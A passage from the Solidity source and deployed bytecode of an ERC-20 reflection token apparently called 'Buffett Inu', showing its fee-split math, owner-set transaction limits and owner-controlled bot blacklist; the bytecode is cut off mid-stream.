(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f4275666665747420496e75000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d9660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c3565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4255464645545400000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e81612547565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea0000061283190919063ffffffff16565b6128b790919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e0c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d536022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613de76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d066023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613dbe6029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b61222981612547565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612901565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124186002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124946002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124bf573d6000803e3d6000fd5b5050565b6000600a54821115612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d29602a913960400191505060405180910390fd5b600061252a612b58565b905061253f81846128b790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257c57600080fd5b506040519080825280602002602001820160405280156125ab5781602001602082028036833780820191505090505b50905030816000815181106125bc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265e57600080fd5b505afa158015612672573d6000803e3d6000fd5b505050506040513d602081101561268857600080fd5b8101908080519060200190929190505050816001815181106126a657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127d15780820151818401526020810190506127b6565b505050509050019650505050505050600060405180830381600087803b1580156127fa57600080fd5b505af115801561280e573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561284457600090506128b1565b600082840290508284828161285557fe5b04146128ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d756021913960400191505060405180910390fd5b809150505b92915050565b60006128f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b83565b905092915050565b8061290f5761290e612c49565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129b25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c7576129c2848484612c8c565b612b44565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a6a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7f57612a7a848484612eec565b612b43565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b215750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3657612b3184848461314c565b612b42565b612b41848484613441565b5b5b5b80612b5257612b5161360c565b5b50505050565b6000806000612b65613620565b91509150612b7c81836128b790919063ffffffff16565b9250505090565b60008083118290612c2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bf4578082015181840152602081019050612bd9565b50505050905090810190601f168015612c215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3b57fe5b049050809150509392505050565b6000600c54148015612c5d57506000600d54145b15612c6757612c8a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c9e876138cd565b955095509550955095509550612cfc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7281613a07565b612e7c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612efe876138cd565b955095509550955095509550612f5c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130d281613a07565b6130dc8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061315e876138cd565b9550955095509550955095506131bc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c781613a07565b6133d18483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613453876138cd565b9550955095509550955095506134b186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061359281613a07565b61359c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138825782600260006009848154811061365a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374157508160036000600984815481106136d957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375f57600a54683635c9adc5dea00000945094505050506138c9565b6137e8600260006009848154811061377357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461393590919063ffffffff16565b925061387360036000600984815481106137fe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361393590919063ffffffff16565b9150808060010191505061363b565b506138a1683635c9adc5dea00000600a546128b790919063ffffffff16565b8210156138c057600a54683635c9adc5dea000009350935050506138c9565b81819350935050505b9091565b60008060008060008060008060006138ea8a600c54600d54613be6565b92509250925060006138fa612b58565b9050600080600061390d8e878787613c7c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061397783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b6000808284019050838110156139fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a11612b58565b90506000613a28828461283190919063ffffffff16565b9050613a7c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffff